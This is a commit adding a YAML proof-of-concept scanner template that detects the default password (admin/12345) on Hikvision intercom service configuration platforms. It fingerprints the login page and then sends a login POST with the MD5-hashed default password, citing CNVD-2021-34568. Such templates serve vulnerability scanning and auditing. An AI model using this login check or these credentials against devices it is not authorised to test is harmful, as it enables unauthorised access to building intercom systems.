海康威视对讲服务配置平台弱口令 (chaitin#1308)

* transform to v2

Co-authored-by: smile-jpg <[email protected]>

pocs/hikvision-intercom-service-default-password.yml

@@ -0,0 +1,24 @@
+name: poc-yaml-hikvision-intercom-service-default-password
+manual: true
+transport: http
+rules:
+    r0:
+        request:
+            cache: true
+            method: GET
+            path: /
+        expression: response.status == 200 && response.body.bcontains(bytes("document.title = LOGIN_BTN_LOGIN"))
+    r1:
+        request:
+            cache: true
+            method: POST
+            path: /authorize.action
+            body: |
+                username=admin&userpsw=827ccb0eea8a706c4c34a16891f84e7b&language=zh_cn
+            follow_redirects: false
+        expression: 'response.status == 200 && response.body.bcontains(b"{\"success\": true, \"msg\": \"OK\"}")'
+expression: r0() && r1()
+detail:
+    author: xueba(user/pass=admin/12345)
+    links:
+        - https://www.cnvd.org.cn/flaw/show/CNVD-2021-34568